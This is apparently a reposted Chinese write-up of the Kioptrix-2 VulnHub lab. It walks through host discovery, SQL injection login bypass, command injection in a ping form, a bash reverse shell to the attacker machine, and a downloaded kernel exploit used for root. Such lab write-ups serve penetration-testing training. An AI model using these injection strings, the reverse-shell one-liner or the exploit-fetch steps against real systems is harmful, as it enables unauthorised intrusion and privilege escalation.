当前位置: 首页 > article >正文

vulnhub靶场【kioptrix-2】靶机

前言

靶机:kioptrix-2,IP地址为192.168.1.73

攻击:kali,IP地址为192.168.1.16

都采用虚拟机,网卡为桥接模式

文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者通过下方链接下载https://pan.quark.cn/s/1f8bfb170c6d

主机发现

使用arp-scan -lnetdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

信息收集

使用nmap扫描端口

这里建议扫描常见端口即可,我尝试扫描全端口,结果导致目标靶机的ip地址消失

这里扫描完毕后,IP又不见了,哈哈哈哈哈哈哈哈哈,很好,再次重启,这里有点像是真实情况中的限制一样

网站信息探测

访问80端口,发现一个类似登录界面

页面源代码中发现这是一个form表单,并且交给index.php处理

漏洞利用

sql注入

先不进行扫描,毕竟这里一上来就给登录,尝试万能密码等进行测试

test' or 1=1--+
test' or 1=1#
test' or '1'='1

测试发现test' or 1=1#可行,并且usernamepassword两个input任意一个都可以

直接进入到另一个界面,这里说是ping,测试一下

命令执行

输入127.0.0.1,发现确实是执行ping,并且是跳转到pingit.php界面的

这可能存在命令注入,因为假设拼接上可以触发

#这两个是逻辑运算
127.0.0.1 || ls	#当第一个执行成功,后一个就不会执行
127.0.0.1 && ls #当第一个执行成功,后一个才会执行

#这两个就是常见的管道符和后台运行
127.0.0.1 | ls	#管道处理,前面结果交给后面
127.0.0.1 & ls	#后台执行,命令执行的同时继续在终端中输入其他命令

这里的效果只展示一个,至于其他的,动手去操作啊,操作

输入127.0.0.1 | ls

反弹shell

可以执行后面的命令,那么就好办了,这时候可以尝试反弹shell,或者查看文件等都行

不过最好是反弹shell,因为当有了shell后,可以执行很多

先在kali使用nc开启监听,nv -lvvp 9999

然后输入命令127.0.0.1|bash -i >& /dev/tcp/192.168.1.16/9999 0>&1并执行,这时候kali就会收到一个shell

内网收集

这时候,查看当前目录,发现有index.php,那么必须查看一下源代码,为什么?因为在form表单是交给其处理的,里面可能存在敏感文件的位置或者敏感信息

果然,查看就发现了连接mysqlphp函数,localhost是主机地址,john是连接数据库的用户名,hiroshima是密码

发现连接数据库的用户名和密码,那么测试是否存在当前的用户john,也就是这是否是只用于数据库连接的,还是为了方便,采用主机的用户

ls -l /home
cat /etc/passwd | grep john

既然存在,那么测试是否一码多用,尝试进行ssh连接,不过这里进行ssh连接涉及到一些过时的密钥交换等,所以先在靶机内使用su切换进行测试,发现密码错误。

那么登录数据库进行查看数据库中的内容

mysql -ujohn -phiroshima

mysql> show databases;
mysql> use webapp
mysql> show tables;
mysql> select * from users;

连接数据库的用户名还在里面,这个我觉得可能是靶机用户的密码66lajGGbla,进行测试,还是失败

继续收集其他信息,使用find寻找具有SUID权限的文件,并无明显可利用的,有一个sudo但是测试后需要密码

收集操作系统等信息

uname -r
cat /etc/*release
cat /etc/issue
cat /etc/issue.bak

提权

kali使用searchsploit搜索对应的版本漏洞,果然有一个

searchsploit centos 2.6.9

查看该脚本,发现其测试范围以及机器正好对应的上,并且在靶机上使用gcc -v发现安装了gcc

kali开启一个python的简易http服务,然后靶机下载到/tmp目录

#在kali运行
python3 -m http.server 8888

#在靶机执行
wget http://192.168.1.16:8888/9542.c

进行编译,然后执行exp

gcc -o exp 9542.c

总结

该靶机主要考察以下几点:

  1. 对于sql注入的初步了解
  2. 对于命令执行的初步了解
  3. 对于反弹shell的了解
  4. 对于各种命令的基本使用
  5. 对于内网收集的初步测试,提示收集内核版本和操作系统版本,并且存在漏洞的危害是极大的
  6. 对于漏洞库要会使用,并且会复现历史漏洞

这里查看/etc/issue时,说是有多种方式,啧,我没有找到,唉,先这样,回头再深入测试


http://www.kler.cn/a/521268.html

相关文章:

  • Hive:日志,hql运行方式,Array,行列转换
  • 【leetcode】T1599
  • 【PowerQuery专栏】PowerQuery实现数据库访问系列函数
  • DeepSeek--通向通用人工智能的深度探索者
  • Cross-Resolution知识蒸馏论文学习
  • 大模型GUI系列论文阅读 DAY4续:《Large Language Model Agent for Fake News Detection》
  • 如何使用tushare pro获取股票数据——附爬虫代码以及tushare积分获取方式
  • Excel分区间统计分析(等步长、不等步长、多维度)
  • 瑞芯微方案:RV1126定制开发板方案定制
  • 【Elasticsearch 基础入门】Centos7下Elasticsearch 7.x安装与配置(单机)
  • 论文阅读(十六):利用线性链条件随机场模型检测阵列比较基因组杂交数据的拷贝数变异
  • DataSecOps的要点
  • 【JavaWeb学习Day13】
  • 基于Python的网易云音乐分析可视化系统的设计与实现
  • 实现一个安全且高效的图片上传接口:使用ASP.NET Core和SHA256哈希
  • Qt中Widget及其子类的相对位置移动
  • SQL 指南
  • LeetCode - Google 大模型校招10题 第1天 Attention 汇总 (3题)
  • Java后端之AOP
  • 深入 Rollup:从入门到精通(三)Rollup CLI命令行实战
  • linux设置mysql远程连接
  • GPT 本地运行输出界面简洁美观(命令行、界面、网页)
  • 基于Flask的旅游系统的设计与实现
  • jupyter版本所引起的扩展插件问题
  • 数组与链表
  • java知识点 | java中不同数据结构的长度计算